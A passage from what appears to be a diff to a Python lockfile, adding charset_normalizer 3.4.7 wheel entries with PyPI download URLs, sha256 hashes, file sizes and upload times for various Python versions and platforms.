214684, upload-time = "2026-04-02T09:25:49.245Z" }, + { url = "https://files.pythonhosted.org/packages/71/94/8c61d8da9f062fdf457c80acfa25060ec22bf1d34bbeaca4350f13bcfd07/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b14b2d9dac08e28bb8046a1a0434b1750eb221c8f5b87a68f4fa11a6f97b5e34", size = 212785, upload-time = "2026-04-02T09:25:50.671Z" }, + { url = "https://files.pythonhosted.org/packages/66/cd/6e9889c648e72c0ab2e5967528bb83508f354d706637bc7097190c874e13/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:bc17a677b21b3502a21f66a8cc64f5bfad4df8a0b8434d661666f8ce90ac3af1", size = 203055, upload-time = "2026-04-02T09:25:51.802Z" }, + { url = "https://files.pythonhosted.org/packages/92/2e/7a951d6a08aefb7eb8e1b54cdfb580b1365afdd9dd484dc4bee9e5d8f258/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:750e02e074872a3fad7f233b47734166440af3cdea0add3e95163110816d6752", size = 232502, upload-time = "2026-04-02T09:25:53.388Z" }, + { url = "https://files.pythonhosted.org/packages/58/d5/abcf2d83bf8e0a1286df55cd0dc1d49af0da4282aa77e986df343e7de124/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:4e5163c14bffd570ef2affbfdd77bba66383890797df43dc8b4cc7d6f500bf53", size = 214295, upload-time = "2026-04-02T09:25:54.765Z" }, + { url = "https://files.pythonhosted.org/packages/47/3a/7d4cd7ed54be99973a0dc176032cba5cb1f258082c31fa6df35cff46acfc/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6ed74185b2db44f41ef35fd1617c5888e59792da9bbc9190d6c7300617182616", size = 227145, upload-time = "2026-04-02T09:25:55.904Z" }, + { url = "https://files.pythonhosted.org/packages/1d/98/3a45bf8247889cf28262ebd3d0872edff11565b2a1e3064ccb132db3fbb0/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:94e1885b270625a9a828c9793b4d52a64445299baa1fea5a173bf1d3dd9a1a5a", size = 218884, upload-time = "2026-04-02T09:25:57.074Z" }, + { url = "https://files.pythonhosted.org/packages/ad/80/2e8b7f8915ed5c9ef13aa828d82738e33888c485b65ebf744d615040c7ea/charset_normalizer-3.4.7-cp310-cp310-win32.whl", hash = "sha256:6785f414ae0f3c733c437e0f3929197934f526d19dfaa75e18fdb4f94c6fb374", size = 148343, upload-time = "2026-04-02T09:25:58.199Z" }, + { url = "https://files.pythonhosted.org/packages/35/1b/3b8c8c77184af465ee9ad88b5aea46ea6b2e1f7b9dc9502891e37af21e30/charset_normalizer-3.4.7-cp310-cp310-win_amd64.whl", hash = "sha256:6696b7688f54f5af4462118f0bfa7c1621eeb87154f77fa04b9295ce7a8f2943", size = 159174, upload-time = "2026-04-02T09:25:59.322Z" }, + { url = "https://files.pythonhosted.org/packages/be/c1/feb40dca40dbb21e0a908801782d9288c64fc8d8e562c2098e9994c8c21b/charset_normalizer-3.4.7-cp310-cp310-win_arm64.whl", hash = "sha256:66671f93accb62ed07da56613636f3641f1a12c13046ce91ffc923721f23c008", size = 147805, upload-time = "2026-04-02T09:26:00.756Z" }, + { url = "https://files.pythonhosted.org/packages/c2/d7/b5b7020a0565c2e9fa8c09f4b5fa6232feb326b8c20081ccded47ea368fd/charset_normalizer-3.4.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7641bb8895e77f921102f72833904dcd9901df5d6d72a2ab8f31d04b7e51e4e7", size = 309705, upload-time = "2026-04-02T09:26:02.191Z" }, + { url = "https://files.pythonhosted.org/packages/5a/53/58c29116c340e5456724ecd2fff4196d236b98f3da97b404bc5e51ac3493/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:202389074300232baeb53ae2569a60901f7efadd4245cf3a3bf0617d60b439d7", size = 206419, upload-time = "2026-04-02T09:26:03.583Z" }, + { url = "https://files.pythonhosted.org/packages/b2/02/e8146dc6591a37a00e5144c63f29fb7c97a734ea8a111190783c0e60ab63/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:30b8d1d8c52a48c2c5690e152c169b673487a2a58de1ec7393196753063fcd5e", size = 227901, upload-time = "2026-04-02T09:26:04.738Z" }, + { url = "https://files.pythonhosted.org/packages/fb/73/77486c4cd58f1267bf17db420e930c9afa1b3be3fe8c8b8ebbebc9624359/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:532bc9bf33a68613fd7d65e4b1c71a6a38d7d42604ecf239c77392e9b4e8998c", size = 222742, upload-time = "2026-04-02T09:26:06.36Z" }, + { url = "https://files.pythonhosted.org/packages/a1/fa/f74eb381a7d94ded44739e9d94de18dc5edc9c17fb8c11f0a6890696c0a9/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2fe249cb4651fd12605b7288b24751d8bfd46d35f12a20b1ba33dea122e690df", size = 214061, upload-time = "2026-04-02T09:26:08.347Z" }, + { url = "https://files.pythonhosted.org/packages/dc/92/42bd3cefcf7687253fb86694b45f37b733c97f59af3724f356fa92b8c344/charset_normalizer-3.4.7-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:65bcd23054beab4d166035cabbc868a09c1a49d1efe458fe8e4361215df40265", size = 199239, upload-time = "2026-04-02T09:26:09.823Z" }, + { url = "https://files.pythonhosted.org/packages/4c/3d/069e7184e2aa3b3cddc700e3dd267413dc259854adc3380421c805c6a17d/charset_normalizer-3.4.7-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:08e721811161356f97b4059a9ba7bafb23ea5ee2255402c42881c214e173c6b4", size = 210173, upload-time = "2026-04-02T09:26:10.953Z" }, + { url = "https://files.pythonhosted.org/packages/62/51/9d56feb5f2e7074c46f93e0ebdbe61f0848ee246e2f0d89f8e20b89ebb8f/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:e060d01aec0a910bdccb8be71faf34e7799ce36950f8294c8bf612cba65a2c9e", size = 209841, upload-time = "2026-04-02T09:26:12.142Z" }, + { url = "https://files.pythonhosted.org/packages/d2/59/893d8f99cc4c837dda1fe2f1139079703deb9f321aabcb032355de13b6c7/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:38c0109396c4cfc574d502df99742a45c72c08eff0a36158b6f04000043dbf38", size = 200304, upload-time = "2026-04-02T09:26:13.711Z" }, + { url = "https://files.pythonhosted.org/packages/7d/1d/ee6f3be3464247578d1ed5c46de545ccc3d3ff933695395c402c21fa6b77/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:1c2a768fdd44ee4a9339a9b0b130049139b8ce3c01d2ce09f67f5a68048d477c", size = 229455, upload-time = "2026-04-02T09:26:14.941Z" }, + { url = "https://files.pythonhosted.org/packages/54/bb/8fb0a946296ea96a488928bdce8ef99023998c48e4713af533e9bb98ef07/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:1a87ca9d5df6fe460483d9a5bbf2b18f620cbed41b432e2bddb686228282d10b", size = 210036, upload-time = "2026-04-02T09:26:16.478Z" }, + { url = "https://files.pythonhosted.org/packages/9a/bc/015b2387f913749f82afd4fcba07846d05b6d784dd16123cb66860e0237d/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:d635aab80466bc95771bb78d5370e74d36d1fe31467b6b29b8b57b2a3cd7d22c", size = 224739, upload-time = "2026-04-02T09:26:17.751Z" }, + { url = "https://files.pythonhosted.org/packages/17/ab/63133691f56baae417493cba6b7c641571a2130eb7bceba6773367ab9ec5/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ae196f021b5e7c78e918242d217db021ed2a6ace2bc6ae94c0fc596221c7f58d", size = 216277, upload-time = "2026-04-02T09:26:18.981Z" }, + { url = "https://files.pythonhosted.org/packages/06/6d/3be70e827977f20db77c12a97e6a9f973631a45b8d186c084527e53e77a4/charset_normalizer-3.4.7-cp311-cp311-win32.whl", hash = "sha256:adb2597b428735679446b46c8badf467b4ca5f5056aae4d51a19f9570301b1ad", size = 147819, upload-time = "2026-04-02T09:26:20.295Z" }, + { url = "https://files.pythonhosted.org/packages/20/d9/5f67790f06b735d7c7637171bbfd89882ad67201891b7275e51116ed8207/charset_normalizer-3.4.7-cp311-cp311-win_amd64.whl", hash = "sha256:8e385e4267ab76874ae30db04c627faaaf0b509e1ccc11a95b3fc3e83f855c00", size = 159281, upload-time = "2026-04-02T09:26:21.74Z" }, + { url = "https://files.pythonhosted.org/packages/ca/83/6413f36c5a34afead88ce6f66684d943d91f233d76dd083798f9602b75ae/charset_normalizer-3.4.7-cp311-cp311-win_arm64.whl", hash = "sha256:d4a48e5b3c2a489fae013b7589308a40146ee081f6f509e047e0e096084ceca1", size = 147843, upload-time = "2026-04-02T09:26:22.901Z" }, + { url = "https://files.pythonhosted.org/packages/0c/eb/4fc8d0a7110eb5fc9cc161723a34a8a6c200ce3b4fbf681bc86feee22308/charset_normalizer-3.4.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46", size = 311328, upload-time = "2026-04-02T09:26:24.331Z" }, + { url = "https://files.pythonhosted.org/packages/f8/e3/0fadc706008ac9d7b9b5be6dc767c05f9d3e5df51744ce4cc9605de7b9f4/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2", size = 208061, upload-time = "2026-04-02T09:26:25.568Z" }, + { url = "https://files.pythonhosted.org/packages/42/f0/3dd1045c47f4a4604df85ec18ad093912ae1344ac706993aff91d38773a2/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b", size = 229031, upload-time = "2026-04-02T09:26:26.865Z" }, + { url = "https://files.pythonhosted.org/packages/dc/67/675a46eb016118a2fbde5a277a5d15f4f69d5f3f5f338e5ee2f8948fcf43/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a", size = 225239, upload-time = "2026-04-02T09:26:28.044Z" }, + { url = "https://files.pythonhosted.org/packages/4b/f8/d0118a2f5f23b02cd166fa385c60f9b0d4f9194f574e2b31cef350ad7223/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116", size = 216589, upload-time = "2026-04-02T09:26:29.239Z" }, + { url = "https://files.pythonhosted.org/packages/b1/f1/6d2b0b261b6c4ceef0fcb0d17a01cc5bc53586c2d4796fa04b5c540bc13d/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb", size = 202733, upload-time = "2026-04-02T09:26:30.5Z" }, + { url = "https://files.pythonhosted.org/packages/6f/c0/7b1f943f7e87cc3db9626ba17807d042c38645f0a1d4415c7a14afb5591f/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1", size = 212652, upload-time = "2026-04-02T09:26:31.709Z" }, + { url = "https://files.pythonhosted.org/packages/38/dd/5a9ab159fe45c6e72079398f277b7d2b523e7f716acc489726115a910097/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15", size = 211229, upload-time = "2026-04-02T09:26:33.282Z" }, + { url = "https://files.pythonhosted.org/packages/d5/ff/531a1cad5ca855d1c1a8b69cb71abfd6d85c0291580146fda7c82857caa1/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5", size = 203552, upload-time = "2026-04-02T09:26:34.845Z" }, + { url = "https://files.pythonhosted.org/packages/c1/4c/a5fb52d528a8ca41f7598cb619409ece30a169fbdf9cdce592e53b46c3a6/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d", size = 230806, upload-time = "2026-04-02T09:26:36.152Z" }, + { url = "https://files.pythonhosted.org/packages/59/7a/071feed8124111a32b316b33ae4de83d36923039ef8cf48120266844285b/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7", size = 212316, upload-time = "2026-04-02T09:26:37.672Z" }, + { url = "https://files.pythonhosted.org/packages/fd/35/f7dba3994312d7ba508e041eaac39a36b120f32d4c8662b8814dab876431/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464", size = 227274, upload-time = "2026-04-02T09:26:38.93Z" }, + { url = "https://files.pythonhosted.org/packages/8a/2d/a572df5c9204ab7688ec1edc895a73ebded3b023bb07364710b05dd1c9be/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49", size = 218468, upload-time = "2026-04-02T09:26:40.17Z" }, + { url = "https://files.pythonhosted.org/packages/86/eb/890922a8b03a568ca2f336c36585a4713c55d4d67bf0f0c78924be6315ca/charset_normalizer-3.4.7-cp312-cp312-win32.whl", hash = "sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c", size = 148460, upload-time = "2026-04-02T09:26:41.416Z" }, + { url = "https://files.pythonhosted.org/packages/35/d9/0e7dffa06c5ab081f75b1b786f0aefc88365825dfcd0ac544bdb7b2b6853/charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl", hash = "sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6", size = 159330, upload-time = "2026-04-02T09:26:42.554Z" }, + { url = "https://files.pythonhosted.org/packages/9e/5d/481bcc2a7c88ea6b0878c299547843b2521ccbc40980cb406267088bc701/charset_normalizer-3.4.7-cp312-cp312-win_arm64.whl", hash = "sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d", size = 147828, upload-time = "2026-04-02T09:26:44.075Z" }, + { url = "https://files.pythonhosted.org/packages/c1/3b/66777e39d3ae1ddc77ee606be4ec6d8cbd4c801f65e5a1b6f2b11b8346dd/charset_normalizer-3.4.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063", size = 309627, upload-time = "2026-04-02T09:26:45.198Z" }, + { url = "https://files.pythonhosted.org/packages/2e/4e/b7f84e617b4854ade48a1b7915c8ccfadeba444d2a18c291f696e37f0d3b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c", size = 207008, upload-time = "2026-04-02T09:26:46.824Z" }, + { url = "https://files.pythonhosted.org/packages/c4/bb/ec73c0257c9e11b268f018f068f5d00aa0ef8c8b09f7753ebd5f2880e248/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66", size = 228303, upload-time = "2026-04-02T09:26:48.397Z" }, + { url = "https://files.pythonhosted.org/packages/85/fb/32d1f5033484494619f701e719429c69b766bfc4dbc61aa9e9c8c166528b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18", size = 224282, upload-time = "2026-04-02T09:26:49.684Z" }, + { url = "https://files.pythonhosted.org/packages/fa/07/330e3a0dda4c404d6da83b327270906e9654a24f6c546dc886a0eb0ffb23/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd", size = 215595, upload-time = "2026-04-02T09:26:50.915Z" }, + { url = "https://files.pythonhosted.org/packages/e3/7c/fc890655786e423f02556e0216d4b8c6bcb6bdfa890160dc66bf52dee468/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215", size = 201986, upload-time = "2026-04-02T09:26:52.197Z" }, + { url = "https://files.pythonhosted.org/packages/d8/97/bfb18b3db2aed3b90cf54dc292ad79fdd5ad65c4eae454099475cbeadd0d/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859", size = 211711, upload-time = "2026-04-02T09:26:53.49Z" }, + { url = "https://files.pythonhosted.org/packages/6f/a5/a581c13798546a7fd557c82614a5c65a13df2157e9ad6373166d2a3e645d/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8", size = 210036, upload-time = "2026-04-02T09:26:54.975Z" }, + { url = "https://files.pythonhosted.org/packages/8c/bf/b3ab5bcb478e4193d517644b0fb2bf5497fbceeaa7a1bc0f4d5b50953861/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5", size = 202998, upload-time = "2026-04-02T09:26:56.303Z" }, + { url = "https://files.pythonhosted.org/packages/e7/4e/23efd79b65d314fa320ec6017b4b5834d5c12a58ba4610aa353af2e2f577/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832", size = 230056, upload-time = "2026-04-02T09:26:57.554Z" }, + { url = "https://files.pythonhosted.org/packages/b9/9f/1e1941bc3f0e01df116e68dc37a55c4d249df5e6fa77f008841aef68264f/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6", size = 211537, upload-time = "2026-04-02T09:26:58.843Z" }, + { url = "https://files.pythonhosted.org/packages/80/0f/088cbb3020d44428964a6c97fe1edfb1b9550396bf6d278330281e8b709c/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48", size = 226176, upload-time = "2026-04-02T09:27:00.437Z" }, + { url = "https://files.pythonhosted.org/packages/6a/9f/130394f9bbe06f4f63e22641d32fc9b202b7e251c9aef4db044324dac493/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a", size = 217723, upload-time = "2026-04-02T09:27:02.021Z" }, + { url = "https://files.pythonhosted.org/packages/73/55/c469897448a06e49f8fa03f6caae97074fde823f432a98f979cc42b90e69/charset_normalizer-3.4.7-cp313-cp313-win32.whl", hash = "sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e", size = 148085, upload-time = "2026-04-02T09:27:03.192Z" }, + { url = "https://files.pythonhosted.org/packages/5d/78/1b74c5bbb3f99b77a1715c91b3e0b5bdb6fe302d95ace4f5b1bec37b0167/charset_normalizer-3.4.7-cp313-cp313-win_amd64.whl", hash = "sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110", size = 158819, upload-time = "2026-04-02T09:27:04.454Z" }, + { url = "https://files.pythonhosted.org/packages/68/86/46bd42279d323deb8687c4a5a811fd548cb7d1de10cf6535d099877a9a9f/charset_normalizer-3.4.7-cp313-cp313-win_arm64.whl", hash = "sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b", size = 147915, upload-time = "2026-04-02T09:27:05.971Z" }, + { url = "https://files.pythonhosted.org/packages/97/c8/c67cb8c70e19ef1960b97b22ed2a1567711de46c4ddf19799923adc836c2/charset_normalizer-3.4.7-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0", size = 309234, upload-time = "2026-04-02T09:27:07.194Z" }, + { url = "https://files.pythonhosted.org/packages/99/85/c091fdee33f20de70d6c8b522743b6f831a2f1cd3ff86de4c6a827c48a76/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a", size = 208042, upload-time = "2026-04-02T09:27:08.749Z" }, + { url = "https://files.pythonhosted.org/packages/87/1c/ab2ce611b984d2fd5d86a5a8a19c1ae26acac6bad967da4967562c75114d/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b", size = 228706, upload-time = "2026-04-02T09:27:09.951Z" }, + { url = "https://files.pythonhosted.org/packages/a8/29/2b1d2cb00bf085f59d29eb773ce58ec2d325430f8c216804a0a5cd83cbca/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41", size = 224727, upload-time = "2026-04-02T09:27:11.175Z" }, + { url = "https://files.pythonhosted.org/packages/47/5c/032c2d5a07fe4d4855fea851209cca2b6f03ebeb6d4e3afdb3358386a684/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e", size = 215882, upload-time = "2026-04-02T09:27:12.446Z" }, + { url = "https://files.pythonhosted.org/packages/2c/c2/356065d5a8b78ed04499cae5f339f091946a6a74f91e03476c33f0ab7100/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae", size = 200860, upload-time = "2026-04-02T09:27:13.721Z" }, + { url = "https://files.pythonhosted.org/packages/0c/cd/a32a84217ced5039f53b29f460962abb2d4420def55afabe45b1c3c7483d/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18", size = 211564, upload-time = "2026-04-02T09:27:15.272Z" }, + { url = "https://files.pythonhosted.org/packages/44/86/58e6f13ce26cc3b8f4a36b94a0f22ae2f00a72534520f4ae6857c4b81f89/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b", size = 211276, upload-time = "2026-04-02T09:27:16.834Z" }, + { url = "https://files.pythonhosted.org/packages/8f/fe/d17c32dc72e17e155e06883efa84514ca375f8a528ba2546bee73fc4df81/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356", size = 201238, upload-time = "2026-04-02T09:27:18.229Z" }, + { url = "https://files.pythonhosted.org/packages/6a/29/f33daa50b06525a237451cdb6c69da366c381a3dadcd833fa5676bc468b3/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab", size = 230189, upload-time = "2026-04-02T09:27:19.445Z" }, + { url = "https://files.pythonhosted.org/packages/b6/6e/52c84015394a6a0bdcd435210a7e944c5f94ea1055f5cc5d56c5fe368e7b/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46", size = 211352, upload-time = "2026-04-02T09:27:20.79Z" }, + { url = "https://files.pythonhosted.org/packages/8c/d7/4353be581b373033fb9198bf1da3cf8f09c1082561e8e922aa7b39bf9fe8/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44", size = 227024, upload-time = "2026-04-02T09:27:22.063Z" }, + { url = "https://files.pythonhosted.org/packages/30/45/99d18aa925bd1740098ccd3060e238e21115fffbfdcb8f3ece837d0ace6c/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72", size = 217869, upload-time = "2026-04-02T09:27:23.486Z" }, + { url = "https://files.pythonhosted.org/packages/5c/05/5ee478aa53f4bb7996482153d4bfe1b89e0f087f0ab6b294fcf92d595873/charset_normalizer-3.4.7-cp314-cp314-win32.whl", hash = "sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10", size = 148541, upload-time = "2026-04-02T09:27:25.146Z" }, + { url = "https://files.pythonhosted.org/packages/48/77/72dcb0921b2ce86420b2d79d454c7022bf5be40202a2a07906b9f2a35c97/charset_normalizer-3.4.7-cp314-cp314-win_amd64.whl", hash = "sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f", size = 159634, upload-time = "2026-04-02T09:27:26.642Z" }, + { url = "https://files.pythonhosted.org/packages/c6/a3/c2369911cd72f02386e4e340770f6e158c7980267da16af8f668217abaa0/charset_normalizer-3.4.7-cp314-cp314-win_arm64.whl", hash = "sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246", size = 148384, upload-time = "2026-04-02T09:27:28.271Z" }, + { url = "https://files.pythonhosted.org/packages/94/09/7e8a7f73d24dba1f0035fbbf014d2c36828fc1bf9c88f84093e57d315935/charset_normalizer-3.4.7-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24", size = 330133, upload-time = "2026-04-02T09:27:29.474Z" }, + { url = "https://files.pythonhosted.org/packages/8d/da/96975ddb11f8e977f706f45cddd8540fd8242f71ecdb5d18a80723dcf62c/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79", size = 216257, upload-time = "2026-04-02T09:27:30.793Z" }, + { url = "https://files.pythonhosted.org/packages/e5/e8/1d63bf8ef2d388e95c64b2098f45f84758f6d102a087552da1485912637b/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960", size = 234851, upload-time = "2026-04-02T09:27:32.44Z" }, + { url = "https://files.pythonhosted.org/packages/9b/40/e5ff04233e70da2681fa43969ad6f66ca5611d7e669be0246c4c7aaf6dc8/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4", size = 233393, upload-time = "2026-04-02T09:27:34.03Z" }, + { url = "https://files.pythonhosted.org/packages/be/c1/06c6c49d5a5450f76899992f1ee40b41d076aee9279b49cf9974d2f313d5/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = 